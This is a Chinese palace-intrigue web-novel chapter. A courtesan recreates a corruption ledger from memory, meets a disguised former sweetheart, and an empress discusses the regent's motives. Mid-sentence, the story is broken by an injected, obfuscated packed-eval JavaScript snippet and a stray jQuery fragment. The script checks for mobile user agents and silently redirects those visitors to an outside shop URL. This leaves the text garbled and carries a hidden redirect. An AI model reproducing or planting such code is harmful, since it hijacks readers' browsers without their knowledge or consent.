翌日清晨,芙蕖醒来时昨晚房间里的人已经离开了。
只见外间的门虚掩着,床榻枕头上还残存些许松木香。芙蕖坐起身,披了外衣走到窗边,看着那顶青呢渐渐消失在街的远角处。
她在窗前站了好一会儿,等心跳稳了,才把窗户轻掩上。
关于昨夜看过的账本,每一页、每一行、每一个暗码都还在印在她的脑子里。世人只知道芙蕖从前是个心善的千金小姐,但很少有人知道她喜研习医书,练的一招阅书过目不忘的本领。
她坐下取了一张素白的信笺,提笔开始写。
“军饷调度,明账拨了三十万两,暗账转出了四十八万。差额去了南境,经手的商号是赵家老号。”
“兵器采买,户部批的是南方的价,暗账里记的价低了三分,中间的差头落进了私库。”
“三年前那桩粮仓案,表面查办的几个小吏,暗账里箭头指向了户部左侍郎。”
一笔一画,那些赃款的数字、名字、日期都在她的笔尖得到审判。当芙蕖看到里面有和自己父亲的交易记录时候,她开始有些犹豫......
家父的罪过,这是事实,但摄政王周业他......也不是毫无干系的。芙蕖心想,为何周业如此照料她?难道是因为当时他和父亲的交情?还是这过去很多他和自家过去条条不清不楚的来往账目?
如果不是这些账目,或许父亲会选择做一个好人。芙蕖想到这儿,笔尖些许颤抖。她悬着这个和自己有来往的证据,她踌躇又彷徨。若上交这个证据,便是作为罪臣之女,添加了“罪”字的重量;若毁掉这个证据,北国朝政会出现更多的异声,权贵人家显贵依旧,但受苦的是民生。
她搁下笔甩了甩腕子,换了一页纸然后继续写。窗外的天色从灰蓝变成淡青,又从淡青变成暖融融的白,知道街上渐渐响起了人声。
写完最后一行,她把纸页晾干,叠成四方小块,藏进袖中。
中午刚过,何朔便来了。
他穿了件半旧的青布直裰,帽檐压得低,肩背微弓着,他乔装混进给楼里送菜的挑夫后面进来的,动作快且无痕。
何朔作为钦差大臣兼驸马,如果光明正大的进醉颜楼难免会被人说闲话,为了避免树大招风,何朔后面几次都是乔装进到这里来找芙蕖。
门开了一条缝,何朔闪进来,回手把门合上了。他摘了帽子,额角有一点细汗,目光先落在芙蕖脸上停了一瞬,确认她安好,才低声问:"拿到账本了吗?"
“我把账本默写来了。”
背书过目不忘的本领,恍惚间,何朔感到像是回到了年少和芙蕖一起读书的时光。当时何朔发现芙蕖的学习能力和过人之处,当时他调侃芙蕖,说她若是个男子,参加科举定能将自己的长处有所为的。
当心中所念和所仰之人,困于这三丈风尘之地,何朔心里升起救赎的执念。
他接过来账本复制件展开看了一眼,瞳孔微缩了一下,然后翻了两页帐簿然后折好收进贴胸的口袋里,抬头刚想说什么激动和感谢的话,目光越过芙蕖的肩头,却正巧不巧瞥见了外间的矮榻——
被褥还没叠,枕头上有一条不属于芙蕖的男子腰带——刹那间,他的眼眸沉入暗中。
他迅速往里间扫了一眼,里间的帘子半垂着,隐约能看见卧榻上被褥摊开的痕迹。何朔收回目光,不敢去想象昨晚上可能发生了什么。
"他……昨晚睡这儿了?"
芙蕖正要开口解释,何朔忽然上前抢先一步抱住了她。
力道有些重,箍着她的肩背,像要把她嵌进自己骨头里。芙蕖的双手僵在身侧,反应过来时,用力地推开他。
“你现在是驸马,请自重!”
出乎她的意料的是,何朔将她的额头埋入颈间,然后轻抚她的发梢,她隐约感受到了他喉间轻微的颤动。只听见他说:"芙蕖,你受苦了。我一定会想办法把你救出去,给你赎身,还你自由。这段时间,你再忍一忍。"
芙蕖站了一会儿,等他的手臂松了一些,才退后半步。她抬起头看着他,神色平静,眼底有一层薄薄的东西浮着,但没有落下来。
"你飞鸽传书就行,不用每次都亲自来。万一被人认出你是驸马,对你和公主不好。"
同时对她也不好。
"我知道,可……我想见你。"
芙蕖看着他,他的眼睛跟当年一模一样,而此刻,何朔还是那个年少的何朔,而芙蕖已经不是当年那个不谙世事的芙蕖了。
她垂下眼,嘴角动了一下,不是笑,只是扯了扯。
"何朔,都时过境迁了。现在我们的身份云泥之别,我跟你已经回不到从前。人要往前看,传闻公主待你真心可鉴,所以莫要辜负了你们天赐的姻缘。"
何朔张了张嘴,像是想说什么,芙蕖没让他开口,继续道:"我们现在只是合作,你给我想要的自由,我替你办事——我们之间,这样就够了。"
她说完往窗边退了一步,把两个人的距离拉开。日光从窗纸外面透进来,在她侧脸上镀了一层薄薄的暖光,看不清楚表情。
何朔沉默了很久,他曾年少的心上人好像此刻变得陌生,她不再是他记忆里那个喜欢依赖他,追着他你侬我侬的小女孩了。
如今两人走到这一步,何朔心很乱想也不知所措,他不知以何种心情点了头,把帽子重新扣上,压低了帽檐。
"账本我拿走了,你多保重。我会尽快救你出去的,相信我。"
脚步声渐远在走廊外,最后消失散在院外一片嘈杂纷扰中。
芙蕖站在窗边没有送。她望着楼下院子里来来往往的人影,挑夫、厨娘、送菜的、收泔水的,没人注意到一个青布直裰的男人混在里头走了出去。
她把枕头上那条腰带挑起来,然后悬在香炉上面摇晃。
那个男人故意留的腰带吗?
摄政王,你究竟对我是何种居心?
为何囚我于醉颜楼,却又待我如宾?
然后芙蕖松手,腰带落下,火烧了一下,焦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861272|212006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
味散开,一切化作灰烬。
玄武宫内,周容正翻着巫渡递上来的密报。她靠在窗边的椅背上,日光晒在她肩头,暖洋洋的。密报上写着周业近日收敛了手脚,许多旧案的痕迹被抹得干干净净,连几条明面上的线索都断了。
"查不下去了?"周容把密报搁在膝上。
巫渡立在案前,回道:"摄政王最近动作很收敛,把之前很多罪行的痕迹都抹了。想从他本人身上找把柄,已经很难了。只能从身边人入手。"
周容"嗯"了一声,目光望向窗外。御花园里的海棠开败了,枝头挂了青涩的小果子,密密匝匝的。
"有件小事,摄政王这几日差人寻了一批医书,送去醉颜楼。数目不少,十几本,有《本草纲目》《黄帝内经》,还有些偏方杂录。"
周容转过头来,眉梢微微挑了一下。
"医书?"
这道不像周业平日的习惯和作风。
她念叨了一遍,然后心领神会地笑了。
"巫渡,这你就不懂了。"
巫渡微微倾身,等她下文。
"医书是给醉颜楼里那位姑娘送的。"
周容把密报折好放进案头的匣子里,语气里带着点懒洋洋的揶揄。
"他要是防着人家,送什么医书?送账本还差不多。"
巫渡愣了一下。他平日里察人察事滴水不漏,可这"给姑娘送医书"的弯弯绕绕,确实不在他的认知范围内。他沉默了一息,开口时声音平平的:"臣以为,送些字画旧物更合常理。"
周容笑着摇了摇头。她想起自己从前在南国做质子时,朱衍也给她送过医书,她当时问为什么,朱衍说"你总看那几本旧的,换新的看看"。
她那时只当他是随口一说,如今轮到自己看别人,才品出点味来。
"他要是只把她当棋子,打发些银两就完了。大张旗鼓地搜罗医书送去,是上了心。"
"那芙蕖这步棋,看来是走对了。"
“巫渡,孤这样对芙蕖会不会不太好。她虽是罪臣之女,其父虽有罄竹难书之罪,但姑娘从前却是清白良善之辈。”
“陛下,臣知您心善。但您要是想救芙蕖,能以何种身份去救赎她?于帝王之尊赦免她,朝中会有很多不服之人,到时候难堵悠悠众口,后面会出现更多的罪臣以及罪臣之女,因为他们知道犯罪不会得到惩治。”
巫渡又言道:“您若是以妇人之慈去共情她,就会明白,她自己有选择的权利去挣脱她现在的束缚。同样的,摄政王给她的束缚,同样对她也是一种保护。”
“至于她怎么选择,是否挣开束缚,那是她的意志和自由。”
周容点头,眉间还是露出隐隐担忧。她拿起一本折子翻开,朱砂笔在指尖转了一圈,最终落在纸面上批成一字。
窗外的风吹进来,把案上那枝插在青瓷瓶里的枯紫藤吹得晃了晃。早就蔫透的花穗落了一小截在桌面上,她伸手拂掉,然后盯着发呆了很久,然后继续批阅下一份奏折。